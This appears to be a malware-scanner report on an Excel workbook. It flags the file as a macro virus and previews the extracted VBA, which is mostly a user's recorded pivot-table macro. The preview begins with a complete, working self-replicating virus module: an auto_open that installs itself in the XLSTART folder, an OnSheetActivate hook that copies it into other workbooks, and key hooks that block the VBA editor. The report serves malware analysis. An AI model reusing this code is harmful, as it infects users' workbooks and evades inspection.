MALICIOUS
208
Risk Score
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-1559735 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-1559735
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then -
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADERThe macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.Matched line in script
Application.OnSheetActivate = "StartUp.xls!ycop" -
VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASIONThe macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.Matched line in script
Application.OnKey "%{F11}", "StartUp.xls!escape" -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub auto_open()
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 121814 bytes |
SHA-256: d2eff1c9cc2b9b820e543c7ca7244a7dc4a7fc86eb3768ecca02eed36e674930 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
'Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!ycop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy Before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub 部門10()
Attribute 部門10.VB_Description = "peggy_chen 在 2011/11/14 錄製的巨集"
Attribute 部門10.VB_ProcData.VB_Invoke_Func = " \n14"
'
' 部門10 Macro
' peggy_chen 在 2011/11/14 錄製的巨集
'
'
ActiveWorkbook.ShowPivotTableFieldList = False
Sheets("DB(樞杻)").Select
Sheets("DB(樞杻)").Copy After:=Sheets(3)
Sheets("DB(樞杻) (2)").Select
Sheets("DB(樞杻) (2)").Name = "10"
Sheets("DB(樞杻)").Select
ActiveSheet.PivotTables("樞紐分析表2").PivotFields("保管部門").CurrentPage = "10"
Cells.Select
Selection.Copy
Sheets("10").Select
Cells.Select
Selection.PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 13
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
Rows("5:125").Select
Application.CutCopyMode = False
Selection.Sort Key1:=Range("P5"), Order1:=xlDescending, Key2:=Range("E5") _
, Order2:=xlDescending, Header:=xlGuess, OrderCustom:=1, MatchCase:= _
False, Orientation:=xlTopToBottom, SortMethod:=xlStroke, DataOption1:= _
xlSortNormal, DataOption2:=xlSortNormal
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 13
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 12
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
Range("A5").Select
ActiveCell.FormulaR1C1 = "=ROW()-4"
Range("A5").Select
Selection.Copy
Range("A6:A125").Select
ActiveSheet.Paste
Range("A12").Select
ActiveWindow.SmallScroll Down:=0
Columns("B:B").ColumnWidth = 9.88
ActiveWindow.SmallScroll Down:=21
Columns("B:B").ColumnWidth = 11.75
Columns("B:B").ColumnWidth = 10.38
ActiveWindow.SmallScroll Down:=-33
Columns("D:D").ColumnWidth = 5.5
Columns("E:E").ColumnWidth = 7.5
ActiveWindow.SmallScroll Down:=108
Columns("F:F").ColumnWidth = 32.88
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.SmallScroll Down:=-105
Columns("G:G").ColumnWidth = 27.38
ActiveWindow.SmallScroll Down:=-27
Columns("H:H").ColumnWidth = 4.38
ActiveWindow.SmallScroll Down:=36
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.SmallScroll Down:=-45
Columns("I:I").ColumnWidth = 25
ActiveWindow.SmallScroll Down:=24
Columns("I:I").ColumnWidth = 27.38
Columns("I:I").ColumnWidth = 31.75
Columns("I:I").ColumnWidth = 28.88
ActiveWindow.SmallScroll Down:=63
Columns("I:I").ColumnWidth = 31.25
ActiveWindow.SmallScroll Down:=-96
Columns("J:J").ColumnWidth = 10.25
ActiveWindow.SmallScroll Down:=27
Columns("J:J").ColumnWidth = 9.5
Columns("J:J").ColumnWidth = 8.63
Columns("J:J").ColumnWidth = 9.13
Columns("J:J").ColumnWidth = 9.63
ActiveWindow.SmallScroll Down:=-15
Columns("K:K").ColumnWidth = 12
Columns("K:K").ColumnWidth = 10.75
Columns("K:K").ColumnWidth = 9.75
Columns("K:K").ColumnWidth = 9.38
ActiveWindow.SmallScroll Down:=-27
Columns("L:L").ColumnWidth = 17.63
ActiveWindow.SmallScroll Down:=0
Columns("M:M").ColumnWidth = 8.88
ActiveWindow.SmallScroll Down:=114
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.SmallScroll Down:=96
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
ActiveWindow.SmallScroll Down:=-114
ActiveWindow.ScrollRow = 117
ActiveWindow.ScrollRow = 120
ActiveWindow.ScrollRow = 122
ActiveWindow.ScrollRow = 127
ActiveWindow.ScrollRow = 132
ActiveWindow.ScrollRow = 139
ActiveWindow.ScrollRow = 149
ActiveWindow.ScrollRow = 156
ActiveWindow.ScrollRow = 164
ActiveWindow.ScrollRow = 171
ActiveWindow.ScrollRow = 180
ActiveWindow.ScrollRow = 188
ActiveWindow.ScrollRow = 195
ActiveWindow.ScrollRow = 205
ActiveWindow.ScrollRow = 219
ActiveWindow.ScrollRow = 231
ActiveWindow.ScrollRow = 246
ActiveWindow.ScrollRow = 261
ActiveWindow.ScrollRow = 275
ActiveWindow.ScrollRow = 292
ActiveWindow.ScrollRow = 311
ActiveWindow.ScrollRow = 331
ActiveWindow.ScrollRow = 350
ActiveWindow.ScrollRow = 370
ActiveWindow.ScrollRow = 394
ActiveWindow.ScrollRow = 413
ActiveWindow.ScrollRow = 433
ActiveWindow.ScrollRow = 450
ActiveWindow.ScrollRow = 469
ActiveWindow.ScrollRow = 489
ActiveWindow.ScrollRow = 508
ActiveWindow.ScrollRow = 525
ActiveWindow.ScrollRow = 542
ActiveWindow.ScrollRow = 556
ActiveWindow.ScrollRow = 571
ActiveWindow.ScrollRow = 581
ActiveWindow.ScrollRow = 595
ActiveWindow.ScrollRow = 610
ActiveWindow.ScrollRow = 622
ActiveWindow.ScrollRow = 639
ActiveWindow.ScrollRow = 651
ActiveWindow.ScrollRow = 666
ActiveWindow.ScrollRow = 678
ActiveWindow.ScrollRow = 695
ActiveWindow.ScrollRow = 709
ActiveWindow.ScrollRow = 721
ActiveWindow.ScrollRow = 738
ActiveWindow.ScrollRow = 758
ActiveWindow.ScrollRow = 780
ActiveWindow.ScrollRow = 799
ActiveWindow.ScrollRow = 823
ActiveWindow.ScrollRow = 847
ActiveWindow.ScrollRow = 867
ActiveWindow.ScrollRow = 894
ActiveWindow.ScrollRow = 913
ActiveWindow.ScrollRow = 932
ActiveWindow.ScrollRow = 952
ActiveWindow.ScrollRow = 969
ActiveWindow.ScrollRow = 981
ActiveWindow.ScrollRow = 993
ActiveWindow.ScrollRow = 1003
ActiveWindow.ScrollRow = 1012
ActiveWindow.ScrollRow = 1022
ActiveWindow.ScrollRow = 1029
ActiveWindow.ScrollRow = 1039
ActiveWindow.ScrollRow = 1046
ActiveWindow.ScrollRow = 1056
ActiveWindow.ScrollRow = 1068
ActiveWindow.ScrollRow = 1078
ActiveWindow.ScrollRow = 1088
ActiveWindow.ScrollRow = 1095
ActiveWindow.ScrollRow = 1105
ActiveWindow.ScrollRow = 1114
ActiveWindow.ScrollRow = 1122
ActiveWindow.ScrollRow = 1134
ActiveWindow.ScrollRow = 1143
ActiveWindow.ScrollRow = 1151
ActiveWindow.ScrollRow = 1165
ActiveWindow.ScrollRow = 1180
ActiveWindow.ScrollRow = 1192
ActiveWindow.ScrollRow = 1206
ActiveWindow.ScrollRow = 1216
ActiveWindow.ScrollRow = 1231
ActiveWindow.ScrollRow = 1240
ActiveWindow.ScrollRow = 1250
ActiveWindow.ScrollRow = 1257
ActiveWindow.ScrollRow = 1267
ActiveWindow.ScrollRow = 1277
ActiveWindow.ScrollRow = 1282
ActiveWindow.ScrollRow = 1289
ActiveWindow.ScrollRow = 1294
ActiveWindow.ScrollRow = 1299
ActiveWindow.ScrollRow = 1301
ActiveWindow.ScrollRow = 115
ActiveWindow.ScrollRow = 1301
ActiveWindow.ScrollRow = 1291
ActiveWindow.ScrollRow = 1282
ActiveWindow.ScrollRow = 1269
ActiveWindow.ScrollRow = 1262
ActiveWindow.ScrollRow = 1252
ActiveWindow.ScrollRow = 1238
ActiveWindow.ScrollRow = 1226
ActiveWindow.ScrollRow = 1216
ActiveWindow.ScrollRow = 1206
ActiveWindow.ScrollRow = 1194
ActiveWindow.ScrollRow = 1185
ActiveWindow.ScrollRow = 1170
ActiveWindow.ScrollRow = 1163
ActiveWindow.ScrollRow = 1151
ActiveWindow.ScrollRow = 1141
ActiveWindow.ScrollRow = 1131
ActiveWindow.ScrollRow = 1124
ActiveWindow.ScrollRow = 1117
ActiveWindow.ScrollRow = 1109
ActiveWindow.ScrollRow = 1100
ActiveWindow.ScrollRow = 1092
ActiveWindow.ScrollRow = 1085
ActiveWindow.ScrollRow = 1078
ActiveWindow.ScrollRow = 1073
ActiveWindow.ScrollRow = 1066
ActiveWindow.ScrollRow = 1061
ActiveWindow.ScrollRow = 1054
ActiveWindow.ScrollRow = 1049
ActiveWindow.ScrollRow = 1041
ActiveWindow.ScrollRow = 1034
ActiveWindow.ScrollRow = 1029
ActiveWindow.ScrollRow = 1025
ActiveWindow.ScrollRow = 1020
ActiveWindow.ScrollRow = 1017
ActiveWindow.ScrollRow = 1015
ActiveWindow.ScrollRow = 1012
ActiveWindow.ScrollRow = 1008
ActiveWindow.ScrollRow = 1003
ActiveWindow.ScrollRow = 1000
ActiveWindow.ScrollRow = 995
ActiveWindow.ScrollRow = 991
ActiveWindow.ScrollRow = 983
ActiveWindow.ScrollRow = 978
ActiveWindow.ScrollRow = 971
ActiveWindow.ScrollRow = 966
ActiveWindow.ScrollRow = 957
ActiveWindow.ScrollRow = 947
ActiveWindow.ScrollRow = 935
ActiveWindow.ScrollRow = 923
ActiveWindow.ScrollRow = 908
ActiveWindow.ScrollRow = 894
ActiveWindow.ScrollRow = 881
ActiveWindow.ScrollRow = 864
ActiveWindow.ScrollRow = 852
ActiveWindow.ScrollRow = 840
ActiveWindow.ScrollRow = 826
ActiveWindow.ScrollRow = 814
ActiveWindow.ScrollRow = 801
ActiveWindow.ScrollRow = 792
ActiveWindow.ScrollRow = 782
ActiveWindow.ScrollRow = 775
ActiveWindow.ScrollRow = 765
ActiveWindow.ScrollRow = 758
ActiveWindow.ScrollRow = 750
ActiveWindow.ScrollRow = 746
ActiveWindow.ScrollRow = 738
ActiveWindow.ScrollRow = 731
ActiveWindow.ScrollRow = 726
ActiveWindow.ScrollRow = 719
ActiveWindow.ScrollRow = 714
ActiveWindow.ScrollRow = 704
ActiveWindow.ScrollRow = 697
ActiveWindow.ScrollRow = 687
ActiveWindow.ScrollRow = 678
ActiveWindow.ScrollRow = 666
ActiveWindow.ScrollRow = 656
ActiveWindow.ScrollRow = 644
ActiveWindow.ScrollRow = 632
ActiveWindow.ScrollRow = 622
ActiveWindow.ScrollRow = 615
ActiveWindow.ScrollRow = 607
ActiveWindow.ScrollRow = 600
ActiveWindow.ScrollRow = 593
ActiveWindow.ScrollRow = 586
ActiveWindow.ScrollRow = 581
ActiveWindow.ScrollRow = 573
ActiveWindow.ScrollRow = 566
ActiveWindow.ScrollRow = 556
ActiveWindow.ScrollRow = 544
ActiveWindow.ScrollRow = 530
ActiveWindow.ScrollRow = 520
ActiveWindow.ScrollRow = 505
ActiveWindow.ScrollRow = 496
ActiveWindow.ScrollRow = 489
ActiveWindow.ScrollRow = 481
ActiveWindow.ScrollRow = 476
ActiveWindow.ScrollRow = 474
ActiveWindow.ScrollRow = 469
ActiveWindow.ScrollRow = 464
ActiveWindow.ScrollRow = 462
ActiveWindow.ScrollRow = 455
ActiveWindow.ScrollRow = 447
ActiveWindow.ScrollRow = 442
ActiveWindow.ScrollRow = 435
ActiveWindow.ScrollRow = 433
ActiveWindow.ScrollRow = 425
ActiveWindow.ScrollRow = 423
ActiveWindow.ScrollRow = 421
ActiveWindow.ScrollRow = 418
ActiveWindow.ScrollRow = 416
ActiveWindow.ScrollRow = 413
ActiveWindow.ScrollRow = 408
ActiveWindow.ScrollRow = 406
ActiveWindow.ScrollRow = 404
ActiveWindow.ScrollRow = 399
ActiveWindow.ScrollRow = 394
ActiveWindow.ScrollRow = 387
ActiveWindow.ScrollRow = 379
ActiveWindow.ScrollRow = 375
ActiveWindow.ScrollRow = 370
ActiveWindow.ScrollRow = 367
ActiveWindow.ScrollRow = 362
ActiveWindow.ScrollRow = 355
ActiveWindow.ScrollRow = 350
ActiveWindow.ScrollRow = 338
ActiveWindow.ScrollRow = 328
ActiveWindow.ScrollRow = 319
ActiveWindow.ScrollRow = 307
ActiveWindow.ScrollRow = 297
ActiveWindow.ScrollRow = 290
ActiveWindow.ScrollRow = 282
ActiveWindow.ScrollRow = 275
ActiveWindow.ScrollRow = 268
ActiveWindow.ScrollRow = 263
ActiveWindow.ScrollRow = 258
ActiveWindow.ScrollRow = 253
ActiveWindow.ScrollRow = 246
ActiveWindow.ScrollRow = 241
ActiveWindow.ScrollRow = 231
ActiveWindow.ScrollRow = 222
ActiveWindow.ScrollRow = 210
ActiveWindow.ScrollRow = 197
ActiveWindow.ScrollRow = 185
ActiveWindow.ScrollRow = 171
ActiveWindow.ScrollRow = 156
ActiveWindow.ScrollRow = 147
ActiveWindow.ScrollRow = 132
ActiveWindow.ScrollRow = 125
ActiveWindow.ScrollRow = 115
ActiveWindow.ScrollRow = 108
ActiveWindow.ScrollRow = 98
ActiveWindow.ScrollRow = 86
ActiveWindow.ScrollRow = 74
ActiveWindow.ScrollRow = 64
ActiveWindow.ScrollRow = 57
ActiveWindow.ScrollRow = 45
ActiveWindow.ScrollRow = 37
ActiveWindow.ScrollRow = 33
ActiveWindow.ScrollRow = 28
ActiveWindow.ScrollRow = 25
ActiveWindow.ScrollRow = 23
ActiveWindow.ScrollRow = 20
ActiveWindow.ScrollRow = 18
ActiveWindow.ScrollRow = 16
ActiveWindow.ScrollRow = 11
ActiveWindow.ScrollRow = 8
ActiveWindow.ScrollRow = 6
ActiveWindow.ScrollRow = 1
ActiveWindow.ScrollRow = 3
ActiveWindow.ScrollRow = 6
ActiveWindow.ScrollRow = 8
ActiveWindow.ScrollRow = 11
ActiveWindow.ScrollRow = 13
ActiveWindow.ScrollRow = 16
ActiveWindow.ScrollRow = 18
ActiveWindow.ScrollRow = 20
ActiveWindow.ScrollRow = 23
ActiveWindow.ScrollRow = 25
ActiveWindow.ScrollRow = 28
ActiveWindow.ScrollRow = 33
ActiveWindow.ScrollRow = 35
ActiveWindow.ScrollRow = 37
ActiveWindow.ScrollRow = 40
ActiveWindow.ScrollRow = 42
ActiveWindow.ScrollRow = 45
ActiveWindow.ScrollRow = 47
ActiveWindow.ScrollRow = 50
ActiveWindow.ScrollRow = 52
ActiveWindow.ScrollRow = 54
ActiveWindow.ScrollRow = 57
ActiveWindow.ScrollRow = 62
ActiveWindow.ScrollRow = 66
ActiveWindow.ScrollRow = 69
ActiveWindow.ScrollRow = 71
ActiveWindow.ScrollRow = 76
ActiveWindow.ScrollRow = 79
ActiveWindow.ScrollRow = 83
ActiveWindow.ScrollRow = 86
ActiveWindow.ScrollRow = 88
ActiveWindow.ScrollRow = 93
ActiveWindow.ScrollRow = 96
ActiveWindow.ScrollRow = 98
ActiveWindow.ScrollRow = 100
ActiveWindow.ScrollRow = 103
ActiveWindow.ScrollRow = 105
ActiveWindow.ScrollRow = 108
ActiveWindow.ScrollRow = 110
ActiveWindow.ScrollRow = 113
ActiveWindow.ScrollRow = 115
ActiveWindow.ScrollRow = 117
ActiveWindow.ScrollRow = 120
ActiveWindow.ScrollRow = 122
ActiveWindow.ScrollRow = 125
ActiveWindow.ScrollRow = 127
ActiveWindow.ScrollRow = 132
ActiveWindow.ScrollRow = 134
ActiveWindow.ScrollRow = 139
ActiveWindow.ScrollRow = 142
ActiveWindow.ScrollRow = 139
ActiveWindow.ScrollRow = 137
ActiveWindow.ScrollRow = 134
ActiveWindow.ScrollRow = 132
ActiveWindow.ScrollRow = 130
ActiveWindow.ScrollRow = 127
ActiveWindow.ScrollRow = 125
ActiveWindow.ScrollRow = 122
ActiveWindow.ScrollRow = 120
ActiveWindow.ScrollRow = 117
ActiveWindow.ScrollRow = 115
ActiveWindow.ScrollRow = 113
ActiveWindow.ScrollRow = 110
ActiveWindow.ScrollRow = 108
ActiveWindow.ScrollRow = 110
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 11
ActiveWindow.ScrollColumn = 10
ActiveWindow.ScrollColumn = 9
ActiveWindow.ScrollColumn = 8
ActiveWindow.ScrollColumn = 7
ActiveWindow.ScrollColumn = 6
ActiveWindow.ScrollColumn = 5
ActiveWindow.ScrollColumn = 4
ActiveWindow.ScrollColumn = 3
ActiveWindow.ScrollColumn = 2
ActiveWindow.ScrollColumn = 1
Range("E1224").Select
ActiveWindow.ScrollRow = 1209
ActiveWindow.ScrollRow = 1211
ActiveWindow.ScrollRow = 1214
ActiveWindow.ScrollRow = 1216
ActiveWindow.ScrollRow = 1221
ActiveWindow.ScrollRow = 1226
ActiveWindow.ScrollRow = 1233
ActiveWindow.ScrollRow = 1236
ActiveWindow.ScrollRow = 1240
ActiveWindow.ScrollRow = 1245
ActiveWindow.ScrollRow = 1248
ActiveWindow.ScrollRow = 1250
ActiveWindow.ScrollRow = 1252
ActiveWindow.ScrollRow = 1255
ActiveWindow.ScrollRow = 1257
ActiveWindow.ScrollRow = 1262
ActiveWindow.ScrollRow = 1265
ActiveWindow.ScrollRow = 1269
ActiveWindow.ScrollRow = 1274
ActiveWindow.ScrollRow = 1277
ActiveWindow.ScrollRow = 1279
ActiveWindow.ScrollRow = 1284
ActiveWindow.ScrollRow = 1289
ActiveWindow.ScrollRow = 1291
ActiveWindow.ScrollRow = 1294
ActiveWindow.ScrollRow = 1296
ActiveWindow.ScrollRow = 1299
ActiveWindow.ScrollRow = 1301
Rows("126:1325").Select
Range("A1325").Activate
Application.CutCopyMode = False
Selection.ClearContents
Selection.Borders(xlDiagonalDown).LineStyle = xlNone
Selection.Borders(xlDiagonalUp).LineStyle = xlNone
Selection.Borders(xlEdgeLeft).LineStyle = xlNone
Selection.Borders(xlEdgeTop).LineStyle = xlNone
Selection.Borders(xlEdgeBottom).LineStyle = xlNone
Selection.Borders(xlEdgeRight).LineStyle = xlNone
Selection.Borders(xlInsideVertical).LineStyle = xlNone
Selection.Borders(xlInsideHorizontal).LineStyle = xlNone
ActiveWindow.SmallScroll Down:=-102
ActiveWindow.ScrollRow = 1209
ActiveWindow.ScrollRow = 1202
ActiveWindow.ScrollRow = 1192
ActiveWindow.ScrollRow = 1182
ActiveWindow.ScrollRow = 1170
ActiveWindow.ScrollRow = 1153
ActiveWindow.ScrollRow = 1136
ActiveWindow.ScrollRow = 1117
ActiveWindow.ScrollRow = 1097
ActiveWindow.ScrollRow = 1078
ActiveWindow.ScrollRow = 1061
ActiveWindow.ScrollRow = 1039
ActiveWindow.ScrollRow = 1017
ActiveWindow.ScrollRow = 998
ActiveWindow.ScrollRow = 981
ActiveWindow.ScrollRow = 964
ActiveWindow.ScrollRow = 949
ActiveWindow.ScrollRow = 937
ActiveWindow.ScrollRow = 927
ActiveWindow.ScrollRow = 920
ActiveWindow.ScrollRow = 911
ActiveWindow.ScrollRow = 906
ActiveWindow.ScrollRow = 896
ActiveWindow.ScrollRow = 884
ActiveWindow.ScrollRow = 869
ActiveWindow.ScrollRow = 852
ActiveWindow.ScrollRow = 838
ActiveWindow.ScrollRow = 823
ActiveWindow.ScrollRow = 806
ActiveWindow.ScrollRow = 794
ActiveWindow.ScrollRow = 780
ActiveWindow.ScrollRow = 770
ActiveWindow.ScrollRow = 755
ActiveWindow.ScrollRow = 743
ActiveWindow.ScrollRow = 726
ActiveWindow.ScrollRow = 704
ActiveWindow.ScrollRow = 680
ActiveWindow.ScrollRow = 658
ActiveWindow.ScrollRow = 632
ActiveWindow.ScrollRow = 610
ActiveWindow.ScrollRow = 588
ActiveWindow.ScrollRow = 576
ActiveWindow.ScrollRow = 569
ActiveWindow.ScrollRow = 561
ActiveWindow.ScrollRow = 559
ActiveWindow.ScrollRow = 552
ActiveWindow.ScrollRow = 542
ActiveWindow.ScrollRow = 535
ActiveWindow.ScrollRow = 525
ActiveWindow.ScrollRow = 513
ActiveWindow.ScrollRow = 505
ActiveWindow.ScrollRow = 496
ActiveWindow.ScrollRow = 493
ActiveWindow.ScrollRow = 491
ActiveWindow.ScrollRow = 489
ActiveWindow.ScrollRow = 484
ActiveWindow.ScrollRow = 481
ActiveWindow.ScrollRow = 479
ActiveWindow.ScrollRow = 472
ActiveWindow.ScrollRow = 467
ActiveWindow.ScrollRow = 457
ActiveWindow.ScrollRow = 445
ActiveWindow.ScrollRow = 430
ActiveWindow.ScrollRow = 423
ActiveWindow.ScrollRow = 416
ActiveWindow.ScrollRow = 411
ActiveWindow.ScrollRow = 408
ActiveWindow.ScrollRow = 401
ActiveWindow.ScrollRow = 399
ActiveWindow.ScrollRow = 391
ActiveWindow.ScrollRow = 384
ActiveWindow.ScrollRow = 375
ActiveWindow.ScrollRow = 365
ActiveWindow.ScrollRow = 353
ActiveWindow.ScrollRow = 348
ActiveWindow.ScrollRow = 343
ActiveWindow.ScrollRow = 341
ActiveWindow.ScrollRow = 338
ActiveWindow.ScrollRow = 336
ActiveWindow.ScrollRow = 333
ActiveWindow.ScrollRow = 331
ActiveWindow.ScrollRow = 326
ActiveWindow.ScrollRow = 324
ActiveWindow.ScrollRow = 321
ActiveWindow.ScrollRow = 314
ActiveWindow.ScrollRow = 309
ActiveWindow.ScrollRow = 307
ActiveWindow.ScrollRow = 304
ActiveWindow.ScrollRow = 302
ActiveWindow.ScrollRow = 299
ActiveWindow.ScrollRow = 294
ActiveWindow.ScrollRow = 292
ActiveWindow.ScrollRow = 287
ActiveWindow.ScrollRow = 282
ActiveWindow.ScrollRow = 277
ActiveWindow.ScrollRow = 270
ActiveWindow.ScrollRow = 263
ActiveWindow.ScrollRow = 258
ActiveWindow.ScrollRow = 256
ActiveWindow.ScrollRow = 253
ActiveWindow.ScrollRow = 251
ActiveWindow.ScrollRow = 248
ActiveWindow.ScrollRow = 246
ActiveWindow.ScrollRow = 244
ActiveWindow.ScrollRow = 241
ActiveWindow.ScrollRow = 236
ActiveWindow.ScrollRow = 234
ActiveWindow.ScrollRow = 229
ActiveWindow.ScrollRow = 227
ActiveWindow.ScrollRow = 224
ActiveWindow.ScrollRow = 219
ActiveWindow.ScrollRow = 217
ActiveWindow.ScrollRow = 214
ActiveWindow.ScrollRow = 212
ActiveWindow.ScrollRow = 210
ActiveWindow.ScrollRow = 207
ActiveWindow.ScrollRow = 205
ActiveWindow.ScrollRow = 202
ActiveWindow.ScrollRow = 200
ActiveWindow.ScrollRow = 195
ActiveWindow.ScrollRow = 193
ActiveWindow.ScrollRow = 190
ActiveWindow.ScrollRow = 188
ActiveWindow.ScrollRow = 185
ActiveWindow.ScrollRow = 183
ActiveWindow.ScrollRow = 180
ActiveWindow.ScrollRow = 178
ActiveWindow.ScrollRow = 176
ActiveWindow.ScrollRow = 173
ActiveWindow.ScrollRow = 171
ActiveWindow.ScrollRow = 168
ActiveWindow.ScrollRow = 166
ActiveWindow.ScrollRow = 164
ActiveWindow.ScrollRow = 161
ActiveWindow.ScrollRow = 159
ActiveWindow.ScrollRow = 156
ActiveWindow.ScrollRow = 154
ActiveWindow.ScrollRow = 151
ActiveWindow.ScrollRow = 149
ActiveWindow.ScrollRow = 147
ActiveWindow.ScrollRow = 144
ActiveWindow.ScrollRow = 142
ActiveWindow.ScrollRow = 139
ActiveWindow.ScrollRow = 137
ActiveWindow.ScrollRow = 134
ActiveWindow.ScrollRow = 132
ActiveWindow.ScrollRow = 130
ActiveWindow.ScrollRow = 127
ActiveWindow.ScrollRow = 125
ActiveWindow.ScrollRow = 122
ActiveWindow.ScrollRow = 117
ActiveWindow.ScrollRow = 115
ActiveWindow.ScrollRow = 113
ActiveWindow.ScrollRow = 110
ActiveWindow.ScrollRow = 108
ActiveWindow.ScrollRow = 105
ActiveWindow.ScrollRow = 103
ActiveWindow.ScrollRow = 100
ActiveWindow.ScrollRow = 98
ActiveWindow.ScrollRow = 96
ActiveWindow.ScrollRow = 93
ActiveWindow.ScrollRow = 91
ActiveWindow.ScrollRow = 88
ActiveWindow.ScrollRow = 86
ActiveWindow.ScrollRow = 88
ActiveWindow.ScrollRow = 91
ActiveWindow.ScrollRow = 98
ActiveWindow.ScrollRow = 103
ActiveWindow.ScrollRow = 110
ActiveWindow.ScrollRow = 117
ActiveWindow.ScrollRow = 122
ActiveWindow.ScrollRow = 130
ActiveWindow.ScrollRow = 134
ActiveWindow.ScrollRow = 139
ActiveWindow.ScrollRow = 142
ActiveWindow.ScrollRow = 144
ActiveWindow.ScrollRow = 147
ActiveWindow.ScrollRow = 151
ActiveWindow.ScrollRow = 156
ActiveWindow.ScrollRow = 159
ActiveWindow.ScrollRow = 164
